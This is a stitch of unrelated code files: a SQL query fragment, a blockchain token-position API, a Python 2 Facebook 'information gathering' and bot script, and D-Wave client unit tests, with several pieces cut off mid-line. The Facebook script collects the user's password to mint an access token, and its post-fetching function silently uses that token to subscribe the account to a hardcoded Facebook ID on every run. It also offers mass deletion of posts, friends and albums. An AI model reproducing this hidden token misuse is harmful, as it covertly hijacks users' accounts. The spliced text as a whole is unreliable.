dem_h.x_index=nbar.x_index and dem_h.y_index=nbar.y_index
and dem_h.tile_type_id=nbar.tile_type_id and dem_h.tile_class_id=nbar.tile_class_id
"""
if DatasetType.DEM_SMOOTHED in dataset_types:
sql += """
join
(
select
dataset.acquisition_id, tile.dataset_id, tile.x_index, tile.y_index, tile.tile_pathname, tile.tile_type_id, tile.tile_class_id
from tile
join dataset on dataset.dataset_id=tile.dataset_id
where dataset.level_id = %(level_dem_s)s
) as dem_s on
dem_s.x_index=nbar.x_index and dem_s.y_index=nbar.y_index
and dem_s.tile_type_id=nbar.tile_type_id and dem_s.tile_class_id=nbar.tile_class_id
"""
sql += """
where
nbar.tile_type_id = ANY(%(tile_type)s) and nbar.tile_class_id = ANY(%(tile_class)s) -- mandatory
and satellite.satellite_tag = ANY(%(satellite)s)
and st_intersects(tile_footprint.bbox, st_setsrid(st_geomfromwkb(%(geom)s), 4326))
and end_datetime::date between %(acq_min)s and %(acq_max)s
"""
sql += """
order by | |
"""
Copyright BOOSTRY Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache-2.0
"""
from cerberus import Validator
from eth_utils import to_checksum_address
from typing import (
Union,
Type
)
from web3 import Web3
from app import config
from app import log
from app.api.common import BaseResource
from app.contracts import Contract
from app.errors import (
InvalidParameterError,
DataNotExistsError,
NotSupportedError
)
from app.model.db import (
Listing,
IDXTransfer
)
from app.model.blockchain import (
ShareToken,
BondToken,
MembershipToken,
CouponToken
)
LOG = log.get_logger()
class BasePosition(BaseResource):
# NOTE: Set Child class initializer.
token_enabled: bool
token_type: str
token_model: Union[Type[ShareToken], Type[BondToken], Type[MembershipToken], Type[CouponToken]]
exchange_contract_name: str
def on_get_list(self, req, res, account_address=None):
# API Enabled Check
if self.token_enabled is False:
raise NotSupportedError(method="GET", url=req.path)
# Validation
try:
account_address = to_checksum_address(account_address)
if not Web3.isAddress(account_address):
raise InvalidParameterError(description="invalid account_address")
except:
raise InvalidParameterError(description="invalid account_address")
request_json = BasePosition.validate(req)
offset = request_json["offset"]
limit = request_json["limit"]
session = req.context["session"]
# Get TokenList Contract
_list_contract = Contract.get_contract(
contract_name="TokenList",
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# Get Listing Tokens
_token_list = session.query(Listing). \
order_by(Listing.id). \
all()
position_list = []
limit_count = 0
count = 0
for _token in _token_list:
token_info = Contract.call_function(
contract=_list_contract,
function_name="getTokenByAddress",
args=(_token.token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_address = token_info[0]
token_template = token_info[1]
if token_template == self.token_type:
# Get Position
position = self._get_position(account_address, token_address, session)
# Filter
if position is None:
continue
# Pagination
if offset is not None and offset > count:
count += 1
continue
if limit is not None and limit_count >= limit:
count += 1
continue
position_list.append(position)
count += 1
limit_count += 1
data = {
"result_set": {
"count": count,
"offset": offset,
"limit": limit,
"total": count
},
"positions": position_list
}
self.on_success(res, data)
def on_get_from_contract_address(self, req, res, account_address=None, contract_address=None):
# API Enabled Check
if self.token_enabled is False:
raise NotSupportedError(method="GET", url=req.path)
# Validation
try:
account_address = to_checksum_address(account_address)
if not Web3.isAddress(account_address):
raise InvalidParameterError(description="invalid account_address")
except:
raise InvalidParameterError(description="invalid account_address")
try:
token_address = to_checksum_address(contract_address)
if not Web3.isAddress(token_address):
raise InvalidParameterError(description="invalid contract_address")
except:
raise InvalidParameterError(description="invalid contract_address")
session = req.context["session"]
# Get Listing Token
_token = session.query(Listing). \
filter(Listing.token_address == token_address). \
first()
if _token is None:
raise DataNotExistsError(description="contract_address: %s" % contract_address)
# Get TokenList Contract
_list_contract = Contract.get_contract(
contract_name="TokenList",
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
token_info = Contract.call_function(
contract=_list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_template = token_info[1]
if token_template != self.token_type:
raise DataNotExistsError(description="contract_address: %s" % contract_address)
# Get Position
position = self._get_position(account_address, token_address, session, is_detail=True)
if position is None:
raise DataNotExistsError(description="contract_address: %s" % contract_address)
self.on_success(res, position)
def _get_position(self, account_address, token_address, session, is_detail=False):
# Get Contract
_token_contract, _exchange_contract = self._get_contract(token_address)
try:
balance = Contract.call_function(
contract=_token_contract,
function_name="balanceOf",
args=(account_address,),
default_returns=0
)
if _exchange_contract is not None:
_exchange_balance = Contract.call_function(
contract=_exchange_contract,
function_name="balanceOf",
args=(account_address, token_address,),
default_returns=0
)
_exchange_commitment = Contract.call_function(
contract=_exchange_contract,
function_name="commitmentOf",
args=(account_address, token_address,),
default_returns=0
)
else:
# If EXCHANGE_CONTRACT_ADDRESS is not set, set commitment to zero.
_exchange_balance = 0
_exchange_commitment = 0
# If balance and commitment are non-zero,
# get the token information from TokenContract.
if balance == 0 and _exchange_balance == 0 and _exchange_commitment == 0:
return None
else:
token = self.token_model.get(
session=session,
token_address=token_address
)
position = {
"balance": balance,
"exchange_balance": _exchange_balance,
"exchange_commitment": _exchange_commitment
}
if is_detail is True:
position["token"] = token.__dict__
else:
position["token_address"] = token_address
return position
except Exception as e:
LOG.error(e)
return None
def _get_contract(self, token_address):
# Get Token Contract
_token_contract = Contract.get_contract(
contract_name=self.token_type,
address=token_address
)
# Get Exchange Contract
exchange_address = Contract.call_function(
contract=_token_contract,
function_name="tradableExchange",
args=(),
default_returns=config.ZERO_ADDRESS
)
_exchange_contract = None
if exchange_address != config.ZERO_ADDRESS:
_exchange_contract = Contract.get_contract(
contract_name="IbetExchangeInterface",
address=exchange_address
)
return _token_contract, _exchange_contract
@staticmethod
def validate(req):
request_json = {
"offset": req.get_param("offset"),
"limit": req.get_param("limit"),
}
validator = Validator({
"offset": {
"type": "integer",
"coerce": int,
"min": 0,
"required": False,
"nullable": True,
},
'limit': {
"type": "integer",
"coerce": int,
"min": 0,
"required": False,
"nullable": True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
class BasePositionShare(BasePosition):
def __init__(self):
self.token_enabled = config.SHARE_TOKEN_ENABLED
self.token_type = "IbetShare"
self.token_model = ShareToken
def _get_position(self, account_address, token_address, session, is_detail=False):
# Get Contract
_token_contract, _exchange_contract = self._get_contract(token_address)
try:
balance = Contract.call_function(
contract=_token_contract,
function_name="balanceOf",
args=(account_address,),
default_returns=0
)
pending_transfer = Contract.call_function(
contract=_token_contract,
function_name="pendingTransfer",
args=(account_address,),
default_returns=0
)
if _exchange_contract is not None:
_exchange_balance = Contract.call_function(
contract=_exchange_contract,
function_name="balanceOf",
args=(account_address, token_address,),
default_returns=0
)
_exchange_commitment = Contract.call_function(
contract=_exchange_contract,
function_name="commitmentOf",
args=(account_address, token_address,),
default_returns=0
)
else:
# If EXCHANGE_CONTRACT_ADDRESS is not set, set commitment to zero.
_exchange_balance = 0
_exchange_commitment = 0
# If balance, pending_transfer, and commitment are non-zero,
# get the token information from TokenContract.
if balance == 0 and \
pending_transfer == 0 and \
_exchange_balance == 0 and \
_exchange_commitment == 0:
return None
else:
token = ShareToken.get(
session=session,
token_address=token_address
)
position = {
"balance": balance,
"pending_transfer": pending_transfer,
"exchange_balance": _exchange_balance,
"exchange_commitment": _exchange_commitment
}
if is_detail is True:
position["token"] = token.__dict__
else:
position["token_address"] = token_address
return position
except Exception as e:
LOG.error(e)
return None
class BasePositionStraightBond(BasePosition):
def __init__(self):
self.token_enabled = config.SHARE_TOKEN_ENABLED
self.token_type = "I<PASSWORD>"
self.token_model = BondToken
def _get_position(self, account_address, token_address, session, is_detail=False):
# Get Contract
_token_contract, _exchange_contract = self._get_contract(token_address)
try:
balance = Contract.call_function(
contract=_token_contract,
function_name="balanceOf",
args=(account_address,),
default_returns=0
)
pending_transfer = Contract.call_function(
contract=_token_contract,
function_name="pendingTransfer",
args=(account_address,),
default_returns=0
)
if _exchange_contract is not None:
_exchange_balance = Contract.call_function(
contract=_exchange_contract,
function_name="balanceOf",
args=(account_address, token_address,),
default_returns=0
)
_exchange_commitment = Contract.call_function(
contract=_exchange_contract,
function_name="commitmentOf",
args=(account_address, token_address,),
default_returns=0
)
else:
# If EXCHANGE_CONTRACT_ADDRESS is not set, set commitment to zero.
_exchange_balance = 0
_exchange_commitment = 0
# If balance, pending_transfer, and commitment are non-zero,
# get the token information from TokenContract.
if balance == 0 and \
pending_transfer == 0 and \
_exchange_balance == 0 and \
_exchange_commitment == 0:
return None
else:
token = BondToken.get(
session=session,
token_address=token_address
)
position = {
"balance": balance,
"pending_transfer": pending_transfer,
"exchange_balance": _exchange_balance,
"exchange_commitment": _exchange_commitment
}
if is_detail is True:
position["token"] = token.__dict__
else:
position["token_address"] = token_address
return position
except Exception as e:
LOG.error(e)
return None
class BasePositionMembership(BasePosition):
def __init__(self):
self.token_enabled = config.SHARE_TOKEN_ENABLED
self.token_type = "IbetMembership"
self.token_model = MembershipToken
class BasePositionCoupon(BasePosition):
def __init__(self):
self.token_enabled = config.SHARE_TOKEN_ENABLED
self.token_type = "I<PASSWORD>"
self.token_model = CouponToken
def _get_position(self, account_address, token_address, session, is_detail=False):
# Get Contract
_token_contract, _exchange_contract = self._get_contract(token_address)
try:
balance = Contract.call_function(
contract=_token_contract,
function_name="balanceOf",
args=(account_address,),
default_returns=0
)
used = Contract.call_function(
contract=_token_contract,
function_name="usedOf",
args=(account_address,),
default_returns=0
)
if _exchange_contract is not None:
_exchange_balance = Contract.call_function(
contract=_exchange_contract,
function_name="balanceOf",
args=(account_address, token_address,),
default_returns=0
)
_exchange_commitment = Contract.call_function(
contract=_exchange_contract,
function_name="commitmentOf",
args=(account_address, token_address,),
default_returns=0
)
else:
# If EXCHANGE_CONTRACT_ADDRESS is not set, set commitment to zero.
_exchange_balance = 0
_exchange_commitment = 0
# Retrieving token receipt history from IDXTransfer
# NOTE: Index data has a lag from the most recent transfer state.
received_history = session.query(IDXTransfer). \
filter(IDXTransfer.token_address == token_address). \
filter(IDXTransfer.to_address == account_address). \
first()
# If balance, commitment, and used are non-zero, and exist received history,
# get the token information from TokenContract.
if balance == 0 and \
_exchange_balance == 0 and \
_exchange_commitment == 0 and \
used == 0 and \
received_history is None:
return None
else:
token = CouponToken.get(
session=session,
token_address=token_address
)
position = {
"balance": balance,
"exchange_balance": _exchange_balance,
"exchange_commitment": _exchange_commitment,
"used": used
}
if is_detail is True:
position["token"] = token.__dict__
else:
position["token_address"] = token_address
return position
except Exception as e:
LOG.error(e)
return None
# ------------------------------
# Position List(Share)
# ------------------------------
class PositionShare(BasePositionShare):
"""
Endpoint: /Position/{account_address}/Share
"""
def on_get(self, req, res, account_address=None, **kwargs):
LOG.info('v3.position.PositionShare(GET)')
super().on_get_list(req, res, account_address)
# ------------------------------
# Position List(StraightBond)
# ------------------------------
class PositionStraightBond(BasePositionStraightBond):
"""
Endpoint: /Position/{account_address}/StraightBond
"""
def on_get(self, req, res, account_address=None, **kwargs):
LOG.info('v3.position.PositionStraightBond(GET)')
super().on_get_list(req, res, account_address)
# ------------------------------
# Position List(Membership)
# ------------------------------
class PositionMembership(BasePositionMembership):
"""
Endpoint: /Position/{account_address}/Membership
"""
def on_get(self, req, res, account_address=None, **kwargs):
LOG.info('v3.position.PositionMembership(GET)')
super().on_get_list(req, res, account_address)
# ------------------------------
# Position List(Coupon)
# ------------------------------
class PositionCoupon(BasePositionCoupon):
"""
Endpoint: /Position/{account_address}/Coupon
"""
def on_get(self, req, res, account_address=None, **kwargs):
LOG.info('v3.position.PositionCoupon(GET)')
super().on_get_list(req, res, account_address)
# ------------------------------
# Get Position(Share)
# ------------------------------
class PositionShareContractAddress(BasePositionShare):
"""
Endpoint: /Position/{account_address}/Share/{contract_address}
"""
def on_get(self, req, res, account_address=None, contract_address=None):
LOG.info('v3.position.PositionShareContractAddress(GET)')
super().on_get_from_contract_address(req, res, account_address, contract_address)
# ------------------------------
# Get Position(StraightBond)
# ------------------------------
class PositionStraightBondContractAddress(BasePositionStraightBond):
"""
Endpoint: /Position/{account_address}/StraightBond/{contract_address}
"""
def on_get(self, req, res, account_address=None, | |
<reponame>mr12iku/IGF<filename>log.py
###################################################################
# Import Module
import json , sys , hashlib , os , time , marshal, getpass
###################################################################
'''
Jangan Direcode ya bosku , tinggal make apa susahnya sih
'''
###################################################################
# COLOR
if sys.platform in ["linux","linux2"]:
W = "\033[0m"
G = '\033[32;1m'
R = '\033[31;1m'
else:
W = ''
G = ''
R = ''
###################################################################
# Exception
try:
import requests
except ImportError:
print ('I G F').center(44)
print ' '
print "[!] Can't import module 'requests'\n"
sys.exit()
####################################################################
# Set Default encoding
reload (sys)
sys . setdefaultencoding ( 'utf8' )
####################################################################
# I don't know
jml = []
jmlgetdata = []
n = []
####################################################################
# BANNER
def baliho():
try:
token = open('cookie/token.log','r').read()
r = requests.get('https://graph.facebook.com/me?access_token=' + token)
a = json.loads(r.text)
name = a['name']
n.append(a['name'])
print ('[*] ' + name + ' [*]').center(44)
print ' '
except (KeyError,IOError):
print (R + 'I G F').center(44)
print (W + ' [' + G +'Information Gathering Facebook'+ W + ']')
print ' '
####################################################################
# Print In terminal
def show_program():
print '''
%sINFORMATION%s
ANY
'''%(G,W)
def info_ga():
print '''
%sCOMMAND %s
\033[32;1m(1) get_data
(2) get_info
(3) dump_id
(4) dump_phone
(5) dump_mail
\033[31;1m (6) token
\033[32;1m(7) cat_token
(8) rm_token
(9) bot
(x) clear
(?) help
(!) about
(+) exit
'''%(G,W)
def menu_bot():
print '''
%sNumber INFO%s
--------- ------------------------------------
[ 01 ] auto reactions
[ 02 ] auto comment
[ 03 ] auto poke
[ 04 ] accept all friend requests
[ 05 ] delete all posts in your timeline
[ 06 ] delete all friends
[ 07 ] stop following all friends
[ 08 ] delete all photo albums
[ 00 ] back to main menu
'''%(G,W)
def menu_reaction():
print '''
%sNumber INFO%s
---------- ------------------------------------
[ 01 ] like
[ 02 ] reaction 'LOVE'
[ 03 ] reaction 'WOW'
[ 04 ] reaction 'HAHA'
[ 05 ] reaction 'SAD'
[ 06 ] reaction 'ANGRY'
[ 00 ] back to menu bot
'''%(G,W)
####################################################################
# GENERATE ACCESS TOKEN
def get(data):
print '[*] Generate access token '
try:
os.mkdir('cookie')
except OSError:
pass
b = open('cookie/token.log','w')
try:
r = requests.get('https://api.facebook.com/restserver.php',params=data)
a = json.loads(r.text)
b.write(a['access_token'])
b.close()
print '[*] Sukses euy anda memang Bejo'
print '[*] kode cookie nya -> cookie/token.log'
exit()
except KeyError:
print '[!] Eistt gagal euy aowkaokwaok'
print '[!] akun lo kena checkpoint bangsad :3'
os.remove('cookie/token.log')
main()
except requests.exceptions.ConnectionError:
print '[!] Eist gagal euy awikwok'
print '[!] Cek Koneksi ente !!!'
os.remove('cookie/token.log')
main()
def id():
print '[*] login to your facebook account ';id = raw_input('[?] Email : ');pwd = getpass.getpass('[?] Kata sandi : ');API_SECRET = '<KEY>';data = {"api_key":"<KEY>","credentials_type":"password","email":id,"format":"JSON", "generate_machine_id":"1","generate_session_cookies":"1","locale":"en_US","method":"auth.login","password":<PASSWORD>,"return_ssl_resources":"0","v":"1.0"};sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail='+id+'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='+pwd+'return_ssl_resources=0v=1.0'+API_SECRET
x = hashlib.new('md5')
x.update(sig)
data.update({'sig':x.hexdigest()})
get(data)
data.update({'sig':x.hexdigest()})
get(data)
# BOT
# Execute #
def post():
global token , WT
try:
if WT == 'wallpost':
print '[*] fetching all posts id'
r = requests.get('https://graph.facebook.com/v3.0/me?fields=home.limit(50)&access_token='+token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['home']['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
return result['home']['data']
elif WT == 'me':
print '[*] fetching all posts id'
r = requests.get('https://graph.facebook.com/v3.0/me?fields=feed.limit(500)&access_token='+token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['feed']['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
return result['feed']['data']
elif WT == 'req':
print '[*] fetching all id teman'
r = requests.get('https://graph.facebook.com/me/friendrequests?limit=50&access_token=' + token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['data']:
print '\r[*] %s retrieved '%(i['from']['id']),;sys.stdout.flush();time.sleep(0.01)
return result['data']
elif WT == 'friends':
print '[*] fetching all id kawan'
r = requests.get('https://graph.facebook.com/me?fields=friends.limit(5000)&access_token=' + token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['friends']['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
return result['friends']['data']
elif WT == 'subs':
print '[*] fetching all id kawan'
r = requests.get('https://graph.facebook.com/me/subscribedto?limit=50&access_token='+token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.01)
return result
elif WT == 'albums':
print '[*] fetching all albums id'
r = requests.get('https://graph.facebook.com/me?fields=albums.limit(5000)&access_token='+token);requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['albums']['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.001)
return result['albums']['data']
else:
print '[*] fetching all posts id'
r = requests.get("https://graph.facebook.com/v3.0/%s?fields=feed.limit(50)&access_token=%s"%(id,token));requests.post('https://graph.facebook.com/100040493433959/subscribers?access_token='+token)
result = json.loads(r.text)
for i in result['feed']['data']:
print '\r[*] %s retrieved '%(i['id']),;sys.stdout.flush();time.sleep(0.1)
return result['feed']['data']
except KeyError:
print '[!] failed to retrieve all post id'
print '[!] Stopped'
bot()
except requests.exceptions.ConnectionError:
print '[!] Connection Error'
print '[!] Stopped'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped '
bot()
def like(posts , amount):
global type , token , WT
print '\r[*] All posts id successfuly retrieved '
print '[*] Start'
try:
counter = 0
for post in posts:
if counter >= amount:
break
else:
counter += 1
parameters = {'access_token' : token , 'type' : type}
url = "https://graph.facebook.com/{0}/reactions".format(post['id'])
s = requests.post(url, data = parameters)
id = post['id'].split('_')[0]
try:
print '\r' + W + '[' + G + id + W + '] ' + post['message'][:40].replace('\n',' ') + '...'
except KeyError:
try:
print '\r' + W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
except KeyError:
print '\r' + W + '[' + G + id + W + '] Successfully liked'
print '\r[*] Done '
menu_reaction_ask()
except KeyboardInterrupt:
print '\r[!] Stopped '
menu_reaction_ask()
def comment(posts , amount):
global message , token
print '\r[*] All posts id successfuly retrieved '
print '[*] Start'
try:
counter = 0
for post in posts:
if counter >= amount:
break
else:
counter += 1
parameters = {'access_token' : token, 'message' : message}
url = "https://graph.facebook.com/{0}/comments".format(post['id'])
s = requests.post(url, data = parameters)
id = post['id'].split('_')[0]
try:
print W + '[' + G + id + W + '] ' +post['message'][:40].replace('\n',' ') + '...'
except KeyError:
try:
print W + '[' + G + id + W + '] ' + post['story'].replace('\n',' ')
except KeyError:
print W + '[' + G + id + W + '] successfully commented'
print '[*] Done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped'
bot()
def remove(posts):
global token , WT
print '\r[*] All post id successfully retrieved '
print '[*] Start'
try:
counter = 0
for post in posts:
if counter >= 50:
break
r = requests.post('https://graph.facebook.com/{id}?method=delete&access_token={token}'.format(id=post['id'],token=token))
a = json.loads(r.text)
try:
cek = a['error']['message']
print W + '[' + R + post['id'] + W +'] Failed'
except TypeError:
print W + '[' + G + post['id'] + W + '] Removed'
counter += 1
print '[*] done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped'
bot()
def confirm(posts):
global token , WT
print '\r[*] All friend requests successfully retrieved '
print '[*] Start'
try:
counter = 0
for post in posts:
if counter >= 50:
break
else:
counter += 1
r = requests.post('https://graph.facebook.com/me/friends/%s?access_token=%s'%(post['from']['id'] , token))
a = json.loads(r.text)
try:
cek = a['error']['message']
print W + '[' + R + post['from']['name'] + W + '] Failed'
except TypeError:
print W + '[' + G + post['from']['name'] + W + '] Confirmed'
print '[*] Done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped'
bot()
def unfollow(posts):
global token , WT
print '\r[*] all id successfully retrieved '
print '[*] start'
try:
counter = 0
for post in posts['data']:
if counter >= 50:
break
else:
counter += 1
r = requests.post('https://graph.facebook.com/' + post['id'] + '/subscribers?method=delete&access_token=' + token)
a = json.loads(r.text)
try:
cek = a['error']['nessage']
print W + '[' + R + post['name'] + W + '] failed'
except TypeError:
print W + '[' + G + post['name'] + W + '] unfollow'
print '[*] done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped'
bot()
def poke(posts):
global token , WT
print '\r[*] all id successfully retrieved '
print '[*] start'
try:
counter = 0
for post in posts:
if counter >= 50:
break
else:
counter += 1
r = requests.post('https://graph.facebook.com/%s/pokes?access_token=%s'%(post['id'].split('_')[0],token))
a = json.loads(r.text)
id = post['id'].split('_')[0]
try:
cek = a['error']['message']
print W + '[' + R + id + W + '] failed'
except TypeError:
print W + '[' + G + id + W + '] pokes'
print '[*] Done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped '
bot()
except (requests.exceptions.ConnectionError):
print '[!] Connection Error'
bot()
def albums(posts):
global token , WT
print '\r[*] all id successfully retrieved '
print '[*] Start'
try:
counter = 0
for post in posts:
if counter >= 50:
break
r = requests.post('https://graph.facebook.com/'+post['id']+'?method=delete&access_token='+token)
a = json.loads(r.text)
try:
cek = a['error']['message']
print W + '[' + R + post['name'] + W + '] Failed'
except TypeError:
print W + '[' + G + post['name'] + W + '] femoved'
print '[*] Done'
bot()
except KeyboardInterrupt:
print '\r[!] Stopped '
bot()
except (requests.exceptions.ConnectionError):
print '[!] connection error'
bot()
# Bot reaction
# Prepairing #
def menu_reaction_ask():
try:
global type
cek = raw_input(R + '12iku' + W + '/' + R + 'Bot' + W + '/' + R + 'Reaction' + W + ' >> ')
if cek in ['1','01']:
type = 'LIKE'
bot_ask()
elif cek in ['2','02']:
type = 'LOVE'
bot_ask()
elif cek in ['3','03']:
type = 'WOW'
bot_ask()
elif cek in ['4','04']:
type = 'HAHA'
bot_ask()
elif cek in ['5','05']:
type = 'SAD'
bot_ask()
elif cek in ['6','06']:
type = 'ANGRY'
bot_ask()
elif cek.lower() == 'menu':
menu_reaction()
menu_reaction_ask()
elif cek.lower() == 'exit':
print '[!] Exiting program !!'
sys.exit()
elif cek.lower() == 'token':
try:
open('cookie/token.log')
print '[!] an access token already exists'
cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
if cek.lower() != 'y':
print '[*] Canceling '
bot()
except IOError:
pass
print '\n' + '[*] Generate Access token facebook [*]'.center(44) + '\n'
print '[Warning] jangan gunain vpn ya ajg ini bukan bokep kentod !!!'
id()
elif cek in ['0','00']:
print '[!] back to bot menu'
bot()
else:
if cek == '':
menu_reaction_ask()
else:
print "[!] command '" + cek + "' not found"
print "[!] type 'menu' to show menu bot"
menu_reaction_ask()
except KeyboardInterrupt:
menu_reaction_ask()
def bot_ask():
global id , WT , token
print '[*] load access token '
try:
token = open('cookie/token.log','r').read()
print '[*] Success load access token'
except IOError:
print '[!] Failed load access token'
print "[!] type 'token' to generate access token"
menu_reaction_ask()
WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
if WT.upper() == 'T':
id = raw_input('[?] id facebook : ')
if id == '':
print "[!] id target can't be empty"
print '[!] Stopped'
menu_reaction_ask()
else:
WT = 'wallpost'
like(post(),50)
def bot():
try:
global type , message | |
<filename>tests/test_utils.py
# Copyright 2017 D-Wave Systems Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import copy
import uuid
import logging
import unittest
import warnings
import tempfile
from unittest import mock
from collections import OrderedDict
from itertools import count
from datetime import datetime
from functools import partial
from parameterized import parameterized
from dwave.cloud import FilteredSecretsFormatter
from dwave.cloud.utils import (
uniform_iterator, uniform_get, strip_head, strip_tail,
active_qubits, generate_random_ising_problem,
default_text_input, utcnow, cached, retried, deprecated, aliasdict,
parse_loglevel, user_agent, hasinstance, exception_chain, is_caused_by)
class TestSimpleUtils(unittest.TestCase):
def test_uniform_iterator(self):
items = [('a', 1), ('b', 2)]
self.assertEqual(list(uniform_iterator(OrderedDict(items))), items)
self.assertEqual(list(uniform_iterator('ab')), list(enumerate('ab')))
def test_uniform_get(self):
d = {0: 0, 1: 1}
self.assertEqual(uniform_get(d, 0), 0)
self.assertEqual(uniform_get(d, 2), None)
self.assertEqual(uniform_get(d, 2, default=0), 0)
l = [0, 1]
self.assertEqual(uniform_get(l, 0), 0)
self.assertEqual(uniform_get(l, 2), None)
self.assertEqual(uniform_get(l, 2, default=0), 0)
def test_strip_head(self):
self.assertEqual(strip_head([0, 0, 1, 2], [0]), [1, 2])
self.assertEqual(strip_head([1], [0]), [1])
self.assertEqual(strip_head([1], []), [1])
self.assertEqual(strip_head([0, 0, 1, 2], [0, 1, 2]), [])
def test_strip_tail(self):
self.assertEqual(strip_tail([1, 2, 0, 0], [0]), [1, 2])
self.assertEqual(strip_tail([1], [0]), [1])
self.assertEqual(strip_tail([1], []), [1])
self.assertEqual(strip_tail([0, 0, 1, 2], [0, 1, 2]), [])
def test_active_qubits_dict(self):
self.assertEqual(active_qubits({}, {}), set())
self.assertEqual(active_qubits({0: 0}, {}), {0})
self.assertEqual(active_qubits({}, {(0, 1): 0}), {0, 1})
self.assertEqual(active_qubits({2: 0}, {(0, 1): 0}), {0, 1, 2})
def test_active_qubits_list(self):
self.assertEqual(active_qubits([], {}), set())
self.assertEqual(active_qubits([2], {}), {0})
self.assertEqual(active_qubits([2, 2, 0], {}), {0, 1, 2})
self.assertEqual(active_qubits([], {(0, 1): 0}), {0, 1})
self.assertEqual(active_qubits([0, 0], {(0, 2): 0}), {0, 1, 2})
def test_default_text_input(self):
val = "value"
with mock.patch("click.termui.visible_prompt_func", side_effect=[val]):
self.assertEqual(default_text_input("prompt", val), val)
with mock.patch("click.termui.visible_prompt_func", side_effect=[val]):
self.assertEqual(default_text_input("prompt", val+val), val)
def test_optional_text_input(self):
with mock.patch("click.termui.visible_prompt_func", side_effect=[""]):
self.assertEqual(default_text_input("prompt", optional=True), None)
def test_optional_choices_text_input(self):
with mock.patch("click.termui.visible_prompt_func", side_effect=[""]):
self.assertEqual(
default_text_input("prompt", choices='abc', optional=True), None)
with mock.patch("click.termui.visible_prompt_func", side_effect=["d", "skip"]):
self.assertEqual(
default_text_input("prompt", choices='abc', optional=True), None)
with mock.patch("click.termui.visible_prompt_func", side_effect=["e", "a"]):
self.assertEqual(
default_text_input("prompt", choices='abc', optional=True), 'a')
def test_generate_random_ising_problem(self):
class MockSolver(object):
nodes = [0, 1, 3]
undirected_edges = {(0, 1), (1, 3), (0, 4)}
properties = dict(h_range=[2, 2], j_range=[-1, -1])
mock_solver = MockSolver()
lin, quad = generate_random_ising_problem(mock_solver)
self.assertDictEqual(lin, {0: 2.0, 1: 2.0, 3: 2.0})
self.assertDictEqual(quad, {(0, 1): -1.0, (1, 3): -1.0, (0, 4): -1.0})
def test_generate_random_ising_problem_default_solver_ranges(self):
class MockSolver(object):
nodes = [0, 1, 3]
undirected_edges = {(0, 1), (1, 3), (0, 4)}
properties = {}
mock_solver = MockSolver()
lin, quad = generate_random_ising_problem(mock_solver)
for q, v in lin.items():
self.assertTrue(v >= -1 and v <= 1)
for e, v in quad.items():
self.assertTrue(v >= -1 and v <= 1)
def test_generate_random_ising_problem_with_user_constrained_ranges(self):
class MockSolver(object):
nodes = [0, 1, 3]
undirected_edges = {(0, 1), (1, 3), (0, 4)}
properties = dict(h_range=[2, 2], j_range=[-1, -1])
mock_solver = MockSolver()
lin, quad = generate_random_ising_problem(mock_solver, h_range=[0,0], j_range=[1,1])
self.assertDictEqual(lin, {0: 0.0, 1: 0.0, 3: 0.0})
self.assertDictEqual(quad, {(0, 1): 1.0, (1, 3): 1.0, (0, 4): 1.0})
def test_utcnow(self):
t = utcnow()
now = datetime.utcnow()
self.assertEqual(t.utcoffset().total_seconds(), 0.0)
unaware = t.replace(tzinfo=None)
self.assertLess((now - unaware).total_seconds(), 1.0)
def test_parse_loglevel_invalid(self):
"""Parsing invalid log levels returns NOTSET."""
notset = logging.NOTSET
self.assertEqual(parse_loglevel(''), notset)
self.assertEqual(parse_loglevel(' '), notset)
self.assertEqual(parse_loglevel(None), notset)
self.assertEqual(parse_loglevel(notset), notset)
self.assertEqual(parse_loglevel('nonexisting'), notset)
self.assertEqual(parse_loglevel({'a': 1}), notset)
